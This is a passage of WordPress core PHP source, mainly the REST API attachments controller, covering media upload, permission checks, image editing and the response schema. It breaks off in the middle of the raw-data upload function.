			// This is an additional precaution because the "sort" function expects an array.
			$query_args['slug'] = wp_parse_list( $query_args['slug'] );

			// Empty arrays should not affect the transient key.
			if ( empty( $query_args['slug'] ) ) {
				unset( $query_args['slug'] );
			} else {
				// Sort the array so that the transient key doesn't depend on the order of slugs.
				sort( $query_args['slug'] );
			}
		}

		return 'wp_remote_block_patterns_' . md5( serialize( $query_args ) );
	}
}
<?php
/**
 * REST API: WP_REST_Attachments_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core controller used to access attachments via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Posts_Controller
 */
class WP_REST_Attachments_Controller extends WP_REST_Posts_Controller {

	/**
	 * Whether the controller supports batching.
	 *
	 * @since 5.9.0
	 * @var false
	 */
	protected $allow_batch = false;

	/**
	 * Registers the routes for attachments.
	 *
	 * @since 5.3.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		parent::register_routes();
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[\d]+)/post-process',
			array(
				'methods'             => WP_REST_Server::CREATABLE,
				'callback'            => array( $this, 'post_process_item' ),
				'permission_callback' => array( $this, 'post_process_item_permissions_check' ),
				'args'                => array(
					'id'     => array(
						'description' => __( 'Unique identifier for the attachment.' ),
						'type'        => 'integer',
					),
					'action' => array(
						'type'     => 'string',
						'enum'     => array( 'create-image-subsizes' ),
						'required' => true,
					),
				),
			)
		);
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[\d]+)/edit',
			array(
				'methods'             => WP_REST_Server::CREATABLE,
				'callback'            => array( $this, 'edit_media_item' ),
				'permission_callback' => array( $this, 'edit_media_item_permissions_check' ),
				'args'                => $this->get_edit_media_item_args(),
			)
		);
	}

	/**
	 * Determines the allowed query_vars for a get_items() response and
	 * prepares for WP_Query.
	 *
	 * @since 4.7.0
	 *
	 * @param array           $prepared_args Optional. Array of prepared arguments. Default empty array.
	 * @param WP_REST_Request $request       Optional. Request to prepare items for.
	 * @return array Array of query arguments.
	 */
	protected function prepare_items_query( $prepared_args = array(), $request = null ) {
		$query_args = parent::prepare_items_query( $prepared_args, $request );

		if ( empty( $query_args['post_status'] ) ) {
			$query_args['post_status'] = 'inherit';
		}

		$media_types = $this->get_media_types();

		if ( ! empty( $request['media_type'] ) && isset( $media_types[ $request['media_type'] ] ) ) {
			$query_args['post_mime_type'] = $media_types[ $request['media_type'] ];
		}

		if ( ! empty( $request['mime_type'] ) ) {
			$parts = explode( '/', $request['mime_type'] );
			if ( isset( $media_types[ $parts[0] ] ) && in_array( $request['mime_type'], $media_types[ $parts[0] ], true ) ) {
				$query_args['post_mime_type'] = $request['mime_type'];
			}
		}

		// Filter query clauses to include filenames.
		if ( isset( $query_args['s'] ) ) {
			add_filter( 'wp_allow_query_attachment_by_filename', '__return_true' );
		}

		return $query_args;
	}

	/**
	 * Checks if a given request has access to create an attachment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error Boolean true if the attachment may be created, or a WP_Error if not.
	 */
	public function create_item_permissions_check( $request ) {
		$ret = parent::create_item_permissions_check( $request );

		if ( ! $ret || is_wp_error( $ret ) ) {
			return $ret;
		}

		if ( ! current_user_can( 'upload_files' ) ) {
			return new WP_Error(
				'rest_cannot_create',
				__( 'Sorry, you are not allowed to upload media on this site.' ),
				array( 'status' => 400 )
			);
		}

		// Attaching media to a post requires ability to edit said post.
		if ( ! empty( $request['post'] ) && ! current_user_can( 'edit_post', (int) $request['post'] ) ) {
			return new WP_Error(
				'rest_cannot_edit',
				__( 'Sorry, you are not allowed to upload media to this post.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Creates a single attachment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, WP_Error object on failure.
	 */
	public function create_item( $request ) {
		if ( ! empty( $request['post'] ) && in_array( get_post_type( $request['post'] ), array( 'revision', 'attachment' ), true ) ) {
			return new WP_Error(
				'rest_invalid_param',
				__( 'Invalid parent type.' ),
				array( 'status' => 400 )
			);
		}

		$insert = $this->insert_attachment( $request );

		if ( is_wp_error( $insert ) ) {
			return $insert;
		}

		$schema = $this->get_item_schema();

		// Extract by name.
		$attachment_id = $insert['attachment_id'];
		$file          = $insert['file'];

		if ( isset( $request['alt_text'] ) ) {
			update_post_meta( $attachment_id, '_wp_attachment_image_alt', sanitize_text_field( $request['alt_text'] ) );
		}

		if ( ! empty( $schema['properties']['featured_media'] ) && isset( $request['featured_media'] ) ) {
			$thumbnail_update = $this->handle_featured_media( $request['featured_media'], $attachment_id );

			if ( is_wp_error( $thumbnail_update ) ) {
				return $thumbnail_update;
			}
		}

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $attachment_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$attachment    = get_post( $attachment_id );
		$fields_update = $this->update_additional_fields_for_object( $attachment, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$terms_update = $this->handle_terms( $attachment_id, $request );

		if ( is_wp_error( $terms_update ) ) {
			return $terms_update;
		}

		$request->set_param( 'context', 'edit' );

		/**
		 * Fires after a single attachment is completely created or updated via the REST API.
		 *
		 * @since 5.0.0
		 *
		 * @param WP_Post         $attachment Inserted or updated attachment object.
		 * @param WP_REST_Request $request    Request object.
		 * @param bool            $creating   True when creating an attachment, false when updating.
		 */
		do_action( 'rest_after_insert_attachment', $attachment, $request, true );

		wp_after_insert_post( $attachment, false, null );

		if ( wp_is_serving_rest_request() ) {
			/*
			 * Set a custom header with the attachment_id.
			 * Used by the browser/client to resume creating image sub-sizes after a PHP fatal error.
			 */
			header( 'X-WP-Upload-Attachment-ID: ' . $attachment_id );
		}

		// Include media and image functions to get access to wp_generate_attachment_metadata().
		require_once ABSPATH . 'wp-admin/includes/media.php';
		require_once ABSPATH . 'wp-admin/includes/image.php';

		/*
		 * Post-process the upload (create image sub-sizes, make PDF thumbnails, etc.) and insert attachment meta.
		 * At this point the server may run out of resources and post-processing of uploaded images may fail.
		 */
		wp_update_attachment_metadata( $attachment_id, wp_generate_attachment_metadata( $attachment_id, $file ) );

		$response = $this->prepare_item_for_response( $attachment, $request );
		$response = rest_ensure_response( $response );
		$response->set_status( 201 );
		$response->header( 'Location', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $attachment_id ) ) );

		return $response;
	}

	/**
	 * Inserts the attachment post in the database. Does not update the attachment meta.
	 *
	 * @since 5.3.0
	 *
	 * @param WP_REST_Request $request
	 * @return array|WP_Error
	 */
	protected function insert_attachment( $request ) {
		// Get the file via $_FILES or raw data.
		$files   = $request->get_file_params();
		$headers = $request->get_headers();

		if ( ! empty( $files ) ) {
			$file = $this->upload_from_file( $files, $headers );
		} else {
			$file = $this->upload_from_data( $request->get_body(), $headers );
		}

		if ( is_wp_error( $file ) ) {
			return $file;
		}

		$name       = wp_basename( $file['file'] );
		$name_parts = pathinfo( $name );
		$name       = trim( substr( $name, 0, -( 1 + strlen( $name_parts['extension'] ) ) ) );

		$url  = $file['url'];
		$type = $file['type'];
		$file = $file['file'];

		// Include image functions to get access to wp_read_image_metadata().
		require_once ABSPATH . 'wp-admin/includes/image.php';

		// Use image exif/iptc data for title and caption defaults if possible.
		$image_meta = wp_read_image_metadata( $file );

		if ( ! empty( $image_meta ) ) {
			if ( empty( $request['title'] ) && trim( $image_meta['title'] ) && ! is_numeric( sanitize_title( $image_meta['title'] ) ) ) {
				$request['title'] = $image_meta['title'];
			}

			if ( empty( $request['caption'] ) && trim( $image_meta['caption'] ) ) {
				$request['caption'] = $image_meta['caption'];
			}
		}

		$attachment = $this->prepare_item_for_database( $request );

		$attachment->post_mime_type = $type;
		$attachment->guid           = $url;

		if ( empty( $attachment->post_title ) ) {
			$attachment->post_title = preg_replace( '/\.[^.]+$/', '', wp_basename( $file ) );
		}

		// $post_parent is inherited from $attachment['post_parent'].
		$id = wp_insert_attachment( wp_slash( (array) $attachment ), $file, 0, true, false );

		if ( is_wp_error( $id ) ) {
			if ( 'db_update_error' === $id->get_error_code() ) {
				$id->add_data( array( 'status' => 500 ) );
			} else {
				$id->add_data( array( 'status' => 400 ) );
			}

			return $id;
		}

		$attachment = get_post( $id );

		/**
		 * Fires after a single attachment is created or updated via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Post         $attachment Inserted or updated attachment
		 *                                    object.
		 * @param WP_REST_Request $request    The request sent to the API.
		 * @param bool            $creating   True when creating an attachment, false when updating.
		 */
		do_action( 'rest_insert_attachment', $attachment, $request, true );

		return array(
			'attachment_id' => $id,
			'file'          => $file,
		);
	}

	/**
	 * Determines the featured media based on a request param.
	 *
	 * @since 6.5.0
	 *
	 * @param int $featured_media Featured Media ID.
	 * @param int $post_id        Post ID.
	 * @return bool|WP_Error Whether the post thumbnail was successfully deleted, otherwise WP_Error.
	 */
	protected function handle_featured_media( $featured_media, $post_id ) {
		$post_type         = get_post_type( $post_id );
		$thumbnail_support = current_theme_supports( 'post-thumbnails', $post_type ) && post_type_supports( $post_type, 'thumbnail' );

		// Similar check as in wp_insert_post().
		if ( ! $thumbnail_support && get_post_mime_type( $post_id ) ) {
			if ( wp_attachment_is( 'audio', $post_id ) ) {
				$thumbnail_support = post_type_supports( 'attachment:audio', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:audio' );
			} elseif ( wp_attachment_is( 'video', $post_id ) ) {
				$thumbnail_support = post_type_supports( 'attachment:video', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:video' );
			}
		}

		if ( $thumbnail_support ) {
			return parent::handle_featured_media( $featured_media, $post_id );
		}

		return new WP_Error(
			'rest_no_featured_media',
			sprintf(
				/* translators: %s: attachment mime type */
				__( 'This site does not support post thumbnails on attachments with MIME type %s.' ),
				get_post_mime_type( $post_id )
			),
			array( 'status' => 400 )
		);
	}

	/**
	 * Updates a single attachment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, WP_Error object on failure.
	 */
	public function update_item( $request ) {
		if ( ! empty( $request['post'] ) && in_array( get_post_type( $request['post'] ), array( 'revision', 'attachment' ), true ) ) {
			return new WP_Error(
				'rest_invalid_param',
				__( 'Invalid parent type.' ),
				array( 'status' => 400 )
			);
		}

		$attachment_before = get_post( $request['id'] );
		$response          = parent::update_item( $request );

		if ( is_wp_error( $response ) ) {
			return $response;
		}

		$response = rest_ensure_response( $response );
		$data     = $response->get_data();

		if ( isset( $request['alt_text'] ) ) {
			update_post_meta( $data['id'], '_wp_attachment_image_alt', $request['alt_text'] );
		}

		$attachment = get_post( $request['id'] );

		if ( ! empty( $schema['properties']['featured_media'] ) && isset( $request['featured_media'] ) ) {
			$thumbnail_update = $this->handle_featured_media( $request['featured_media'], $attachment->ID );

			if ( is_wp_error( $thumbnail_update ) ) {
				return $thumbnail_update;
			}
		}

		$fields_update = $this->update_additional_fields_for_object( $attachment, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php */
		do_action( 'rest_after_insert_attachment', $attachment, $request, false );

		wp_after_insert_post( $attachment, true, $attachment_before );

		$response = $this->prepare_item_for_response( $attachment, $request );
		$response = rest_ensure_response( $response );

		return $response;
	}

	/**
	 * Performs post processing on an attachment.
	 *
	 * @since 5.3.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, WP_Error object on failure.
	 */
	public function post_process_item( $request ) {
		switch ( $request['action'] ) {
			case 'create-image-subsizes':
				require_once ABSPATH . 'wp-admin/includes/image.php';
				wp_update_image_subsizes( $request['id'] );
				break;
		}

		$request['context'] = 'edit';

		return $this->prepare_item_for_response( get_post( $request['id'] ), $request );
	}

	/**
	 * Checks if a given request can perform post processing on an attachment.
	 *
	 * @since 5.3.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
	 */
	public function post_process_item_permissions_check( $request ) {
		return $this->update_item_permissions_check( $request );
	}

	/**
	 * Checks if a given request has access to editing media.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function edit_media_item_permissions_check( $request ) {
		if ( ! current_user_can( 'upload_files' ) ) {
			return new WP_Error(
				'rest_cannot_edit_image',
				__( 'Sorry, you are not allowed to upload media on this site.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return $this->update_item_permissions_check( $request );
	}

	/**
	 * Applies edits to a media item and creates a new attachment record.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, WP_Error object on failure.
	 */
	public function edit_media_item( $request ) {
		require_once ABSPATH . 'wp-admin/includes/image.php';

		$attachment_id = $request['id'];

		// This also confirms the attachment is an image.
		$image_file = wp_get_original_image_path( $attachment_id );
		$image_meta = wp_get_attachment_metadata( $attachment_id );

		if (
			! $image_meta ||
			! $image_file ||
			! wp_image_file_matches_image_meta( $request['src'], $image_meta, $attachment_id )
		) {
			return new WP_Error(
				'rest_unknown_attachment',
				__( 'Unable to get meta information for file.' ),
				array( 'status' => 404 )
			);
		}

		$supported_types = array( 'image/jpeg', 'image/png', 'image/gif', 'image/webp', 'image/avif' );
		$mime_type       = get_post_mime_type( $attachment_id );
		if ( ! in_array( $mime_type, $supported_types, true ) ) {
			return new WP_Error(
				'rest_cannot_edit_file_type',
				__( 'This type of file cannot be edited.' ),
				array( 'status' => 400 )
			);
		}

		// The `modifiers` param takes precedence over the older format.
		if ( isset( $request['modifiers'] ) ) {
			$modifiers = $request['modifiers'];
		} else {
			$modifiers = array();

			if ( ! empty( $request['rotation'] ) ) {
				$modifiers[] = array(
					'type' => 'rotate',
					'args' => array(
						'angle' => $request['rotation'],
					),
				);
			}

			if ( isset( $request['x'], $request['y'], $request['width'], $request['height'] ) ) {
				$modifiers[] = array(
					'type' => 'crop',
					'args' => array(
						'left'   => $request['x'],
						'top'    => $request['y'],
						'width'  => $request['width'],
						'height' => $request['height'],
					),
				);
			}

			if ( 0 === count( $modifiers ) ) {
				return new WP_Error(
					'rest_image_not_edited',
					__( 'The image was not edited. Edit the image before applying the changes.' ),
					array( 'status' => 400 )
				);
			}
		}

		/*
		 * If the file doesn't exist, attempt a URL fopen on the src link.
		 * This can occur with certain file replication plugins.
		 * Keep the original file path to get a modified name later.
		 */
		$image_file_to_edit = $image_file;
		if ( ! file_exists( $image_file_to_edit ) ) {
			$image_file_to_edit = _load_image_to_edit_path( $attachment_id );
		}

		$image_editor = wp_get_image_editor( $image_file_to_edit );

		if ( is_wp_error( $image_editor ) ) {
			return new WP_Error(
				'rest_unknown_image_file_type',
				__( 'Unable to edit this image.' ),
				array( 'status' => 500 )
			);
		}

		foreach ( $modifiers as $modifier ) {
			$args = $modifier['args'];
			switch ( $modifier['type'] ) {
				case 'rotate':
					// Rotation direction: clockwise vs. counter clockwise.
					$rotate = 0 - $args['angle'];

					if ( 0 !== $rotate ) {
						$result = $image_editor->rotate( $rotate );

						if ( is_wp_error( $result ) ) {
							return new WP_Error(
								'rest_image_rotation_failed',
								__( 'Unable to rotate this image.' ),
								array( 'status' => 500 )
							);
						}
					}

					break;

				case 'crop':
					$size = $image_editor->get_size();

					$crop_x = round( ( $size['width'] * $args['left'] ) / 100.0 );
					$crop_y = round( ( $size['height'] * $args['top'] ) / 100.0 );
					$width  = round( ( $size['width'] * $args['width'] ) / 100.0 );
					$height = round( ( $size['height'] * $args['height'] ) / 100.0 );

					if ( $size['width'] !== $width && $size['height'] !== $height ) {
						$result = $image_editor->crop( $crop_x, $crop_y, $width, $height );

						if ( is_wp_error( $result ) ) {
							return new WP_Error(
								'rest_image_crop_failed',
								__( 'Unable to crop this image.' ),
								array( 'status' => 500 )
							);
						}
					}

					break;

			}
		}

		// Calculate the file name.
		$image_ext  = pathinfo( $image_file, PATHINFO_EXTENSION );
		$image_name = wp_basename( $image_file, ".{$image_ext}" );

		/*
		 * Do not append multiple `-edited` to the file name.
		 * The user may be editing a previously edited image.
		 */
		if ( preg_match( '/-edited(-\d+)?$/', $image_name ) ) {
			// Remove any `-1`, `-2`, etc. `wp_unique_filename()` will add the proper number.
			$image_name = preg_replace( '/-edited(-\d+)?$/', '-edited', $image_name );
		} else {
			// Append `-edited` before the extension.
			$image_name .= '-edited';
		}

		$filename = "{$image_name}.{$image_ext}";

		// Create the uploads sub-directory if needed.
		$uploads = wp_upload_dir();

		// Make the file name unique in the (new) upload directory.
		$filename = wp_unique_filename( $uploads['path'], $filename );

		// Save to disk.
		$saved = $image_editor->save( $uploads['path'] . "/$filename" );

		if ( is_wp_error( $saved ) ) {
			return $saved;
		}

		// Create new attachment post.
		$new_attachment_post = array(
			'post_mime_type' => $saved['mime-type'],
			'guid'           => $uploads['url'] . "/$filename",
			'post_title'     => $image_name,
			'post_content'   => '',
		);

		// Copy post_content, post_excerpt, and post_title from the edited image's attachment post.
		$attachment_post = get_post( $attachment_id );

		if ( $attachment_post ) {
			$new_attachment_post['post_content'] = $attachment_post->post_content;
			$new_attachment_post['post_excerpt'] = $attachment_post->post_excerpt;
			$new_attachment_post['post_title']   = $attachment_post->post_title;
		}

		$new_attachment_id = wp_insert_attachment( wp_slash( $new_attachment_post ), $saved['path'], 0, true );

		if ( is_wp_error( $new_attachment_id ) ) {
			if ( 'db_update_error' === $new_attachment_id->get_error_code() ) {
				$new_attachment_id->add_data( array( 'status' => 500 ) );
			} else {
				$new_attachment_id->add_data( array( 'status' => 400 ) );
			}

			return $new_attachment_id;
		}

		// Copy the image alt text from the edited image.
		$image_alt = get_post_meta( $attachment_id, '_wp_attachment_image_alt', true );

		if ( ! empty( $image_alt ) ) {
			// update_post_meta() expects slashed.
			update_post_meta( $new_attachment_id, '_wp_attachment_image_alt', wp_slash( $image_alt ) );
		}

		if ( wp_is_serving_rest_request() ) {
			/*
			 * Set a custom header with the attachment_id.
			 * Used by the browser/client to resume creating image sub-sizes after a PHP fatal error.
			 */
			header( 'X-WP-Upload-Attachment-ID: ' . $new_attachment_id );
		}

		// Generate image sub-sizes and meta.
		$new_image_meta = wp_generate_attachment_metadata( $new_attachment_id, $saved['path'] );

		// Copy the EXIF metadata from the original attachment if not generated for the edited image.
		if ( isset( $image_meta['image_meta'] ) && isset( $new_image_meta['image_meta'] ) && is_array( $new_image_meta['image_meta'] ) ) {
			// Merge but skip empty values.
			foreach ( (array) $image_meta['image_meta'] as $key => $value ) {
				if ( empty( $new_image_meta['image_meta'][ $key ] ) && ! empty( $value ) ) {
					$new_image_meta['image_meta'][ $key ] = $value;
				}
			}
		}

		// Reset orientation. At this point the image is edited and orientation is correct.
		if ( ! empty( $new_image_meta['image_meta']['orientation'] ) ) {
			$new_image_meta['image_meta']['orientation'] = 1;
		}

		// The attachment_id may change if the site is exported and imported.
		$new_image_meta['parent_image'] = array(
			'attachment_id' => $attachment_id,
			// Path to the originally uploaded image file relative to the uploads directory.
			'file'          => _wp_relative_upload_path( $image_file ),
		);

		/**
		 * Filters the meta data for the new image created by editing an existing image.
		 *
		 * @since 5.5.0
		 *
		 * @param array $new_image_meta    Meta data for the new image.
		 * @param int   $new_attachment_id Attachment post ID for the new image.
		 * @param int   $attachment_id     Attachment post ID for the edited (parent) image.
		 */
		$new_image_meta = apply_filters( 'wp_edited_image_metadata', $new_image_meta, $new_attachment_id, $attachment_id );

		wp_update_attachment_metadata( $new_attachment_id, $new_image_meta );

		$response = $this->prepare_item_for_response( get_post( $new_attachment_id ), $request );
		$response->set_status( 201 );
		$response->header( 'Location', rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $new_attachment_id ) ) );

		return $response;
	}

	/**
	 * Prepares a single attachment for create or update.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return stdClass|WP_Error Post object.
	 */
	protected function prepare_item_for_database( $request ) {
		$prepared_attachment = parent::prepare_item_for_database( $request );

		// Attachment caption (post_excerpt internally).
		if ( isset( $request['caption'] ) ) {
			if ( is_string( $request['caption'] ) ) {
				$prepared_attachment->post_excerpt = $request['caption'];
			} elseif ( isset( $request['caption']['raw'] ) ) {
				$prepared_attachment->post_excerpt = $request['caption']['raw'];
			}
		}

		// Attachment description (post_content internally).
		if ( isset( $request['description'] ) ) {
			if ( is_string( $request['description'] ) ) {
				$prepared_attachment->post_content = $request['description'];
			} elseif ( isset( $request['description']['raw'] ) ) {
				$prepared_attachment->post_content = $request['description']['raw'];
			}
		}

		if ( isset( $request['post'] ) ) {
			$prepared_attachment->post_parent = (int) $request['post'];
		}

		return $prepared_attachment;
	}

	/**
	 * Prepares a single attachment output for response.
	 *
	 * @since 4.7.0
	 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Post         $item    Attachment object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$post = $item;

		$response = parent::prepare_item_for_response( $post, $request );
		$fields   = $this->get_fields_for_response( $request );
		$data     = $response->get_data();

		if ( in_array( 'description', $fields, true ) ) {
			$data['description'] = array(
				'raw'      => $post->post_content,
				/** This filter is documented in wp-includes/post-template.php */
				'rendered' => apply_filters( 'the_content', $post->post_content ),
			);
		}

		if ( in_array( 'caption', $fields, true ) ) {
			/** This filter is documented in wp-includes/post-template.php */
			$caption = apply_filters( 'get_the_excerpt', $post->post_excerpt, $post );

			/** This filter is documented in wp-includes/post-template.php */
			$caption = apply_filters( 'the_excerpt', $caption );

			$data['caption'] = array(
				'raw'      => $post->post_excerpt,
				'rendered' => $caption,
			);
		}

		if ( in_array( 'alt_text', $fields, true ) ) {
			$data['alt_text'] = get_post_meta( $post->ID, '_wp_attachment_image_alt', true );
		}

		if ( in_array( 'media_type', $fields, true ) ) {
			$data['media_type'] = wp_attachment_is_image( $post->ID ) ? 'image' : 'file';
		}

		if ( in_array( 'mime_type', $fields, true ) ) {
			$data['mime_type'] = $post->post_mime_type;
		}

		if ( in_array( 'media_details', $fields, true ) ) {
			$data['media_details'] = wp_get_attachment_metadata( $post->ID );

			// Ensure empty details is an empty object.
			if ( empty( $data['media_details'] ) ) {
				$data['media_details'] = new stdClass();
			} elseif ( ! empty( $data['media_details']['sizes'] ) ) {

				foreach ( $data['media_details']['sizes'] as $size => &$size_data ) {

					if ( isset( $size_data['mime-type'] ) ) {
						$size_data['mime_type'] = $size_data['mime-type'];
						unset( $size_data['mime-type'] );
					}

					// Use the same method image_downsize() does.
					$image_src = wp_get_attachment_image_src( $post->ID, $size );
					if ( ! $image_src ) {
						continue;
					}

					$size_data['source_url'] = $image_src[0];
				}

				$full_src = wp_get_attachment_image_src( $post->ID, 'full' );

				if ( ! empty( $full_src ) ) {
					$data['media_details']['sizes']['full'] = array(
						'file'       => wp_basename( $full_src[0] ),
						'width'      => $full_src[1],
						'height'     => $full_src[2],
						'mime_type'  => $post->post_mime_type,
						'source_url' => $full_src[0],
					);
				}
			} else {
				$data['media_details']['sizes'] = new stdClass();
			}
		}

		if ( in_array( 'post', $fields, true ) ) {
			$data['post'] = ! empty( $post->post_parent ) ? (int) $post->post_parent : null;
		}

		if ( in_array( 'source_url', $fields, true ) ) {
			$data['source_url'] = wp_get_attachment_url( $post->ID );
		}

		if ( in_array( 'missing_image_sizes', $fields, true ) ) {
			require_once ABSPATH . 'wp-admin/includes/image.php';
			$data['missing_image_sizes'] = array_keys( wp_get_missing_image_subsizes( $post->ID ) );
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';

		$data = $this->filter_response_by_context( $data, $context );

		$links = $response->get_links();

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		foreach ( $links as $rel => $rel_links ) {
			foreach ( $rel_links as $link ) {
				$response->add_link( $rel, $link['href'], $link['attributes'] );
			}
		}

		/**
		 * Filters an attachment returned from the REST API.
		 *
		 * Allows modification of the attachment right before it is returned.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_Post          $post     The original attachment post.
		 * @param WP_REST_Request  $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_attachment', $response, $post, $request );
	}

	/**
	 * Retrieves the attachment's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema as an array.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = parent::get_item_schema();

		$schema['properties']['alt_text'] = array(
			'description' => __( 'Alternative text to display when attachment is not displayed.' ),
			'type'        => 'string',
			'context'     => array( 'view', 'edit', 'embed' ),
			'arg_options' => array(
				'sanitize_callback' => 'sanitize_text_field',
			),
		);

		$schema['properties']['caption'] = array(
			'description' => __( 'The attachment caption.' ),
			'type'        => 'object',
			'context'     => array( 'view', 'edit', 'embed' ),
			'arg_options' => array(
				'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database().
				'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database().
			),
			'properties'  => array(
				'raw'      => array(
					'description' => __( 'Caption for the attachment, as it exists in the database.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
				),
				'rendered' => array(
					'description' => __( 'HTML caption for the attachment, transformed for display.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
			),
		);

		$schema['properties']['description'] = array(
			'description' => __( 'The attachment description.' ),
			'type'        => 'object',
			'context'     => array( 'view', 'edit' ),
			'arg_options' => array(
				'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database().
				'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database().
			),
			'properties'  => array(
				'raw'      => array(
					'description' => __( 'Description for the attachment, as it exists in the database.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
				),
				'rendered' => array(
					'description' => __( 'HTML description for the attachment, transformed for display.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
			),
		);

		$schema['properties']['media_type'] = array(
			'description' => __( 'Attachment type.' ),
			'type'        => 'string',
			'enum'        => array( 'image', 'file' ),
			'context'     => array( 'view', 'edit', 'embed' ),
			'readonly'    => true,
		);

		$schema['properties']['mime_type'] = array(
			'description' => __( 'The attachment MIME type.' ),
			'type'        => 'string',
			'context'     => array( 'view', 'edit', 'embed' ),
			'readonly'    => true,
		);

		$schema['properties']['media_details'] = array(
			'description' => __( 'Details about the media file, specific to its type.' ),
			'type'        => 'object',
			'context'     => array( 'view', 'edit', 'embed' ),
			'readonly'    => true,
		);

		$schema['properties']['post'] = array(
			'description' => __( 'The ID for the associated post of the attachment.' ),
			'type'        => 'integer',
			'context'     => array( 'view', 'edit' ),
		);

		$schema['properties']['source_url'] = array(
			'description' => __( 'URL to the original attachment file.' ),
			'type'        => 'string',
			'format'      => 'uri',
			'context'     => array( 'view', 'edit', 'embed' ),
			'readonly'    => true,
		);

		$schema['properties']['missing_image_sizes'] = array(
			'description' => __( 'List of the missing image sizes of the attachment.' ),
			'type'        => 'array',
			'items'       => array( 'type' => 'string' ),
			'context'     => array( 'edit' ),
			'readonly'    => true,
		);

		unset( $schema['properties']['password'] );

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Handles an upload via raw POST data.
	 *
	 * @since 4.7.0
	 *
	 * @param string $data    Supplied file data.
	 * @param array  $headers HTTP headers from the request.
	 * @return array|WP_Error Data from wp_handle_sideload().
	 */
	protected function upload_from_data( $data, $headers ) {
		if ( empty( $data ) ) {
			return new WP_Error(
				'rest_upload_no_data',
				__( 'No data supplied.' ),
				array( 'status' => 400 )
			);
		}

		if ( empty( $headers['content_type'] ) ) {
			return new WP_Error(
				'rest_upload_no_content_type',
				__( 'No Content-Type supplied.' ),
				array( 'status' => 400 )
			);
		}

		if ( empty( $headers['content_disposition'] ) ) {
			return new WP_Error(
				'rest_upload_no_content_disposition',
				__( 'No Content-Disposition supplied.' ),
				array( 'status' => 400 )
			);
		}

		$filename = self::get_filename_from_disposition( $headers['content_disposition'] );

		if ( empty( $filename ) ) {
			return new WP_Error(
				'rest_upload_invalid_disposition',
				__( 'Invalid Content-Disposition supplied. Content-Disposition needs to be formatted as `attachment; filename="image.png"` or similar.' ),
				array( 'status' => 400 )
			);
		}

		if ( ! empty( $headers['content_md5'] ) ) {
			$content_md5 = array_shift( $headers['content_md5'] );
			$expected    = trim( $content_md5 );
			$actual      = md5( $data );

			if ( $expected !== $actual ) {
				return new WP_Error(
					'rest_upload_hash_mismatch',
					__( 'Content hash did not match expected.' ),
					array( 'status' => 412 )
				);
			}
		}

		// Get the content-type.
		$type = array_shift( $headers['content_type'] );

		// Include filesystem functions to get access to wp_tempnam() and wp_handle_sideload().
		require_once ABSPATH . 'wp-admin/includes/file.php';

		// Save the file.
		$tmpfname = wp_tempnam( $filename );

		$fp = fopen( $tmpfname, 'w+' );

		if ( ! $fp ) {
			return new WP_Error(
				'rest_upload_file_error',
				__( 'Could not open file handle.' ),
				array( 'status' => 500 )
			);
		}

		fwrite( $fp, $data );
		fclose( $fp );

		// Now, sideload it in.
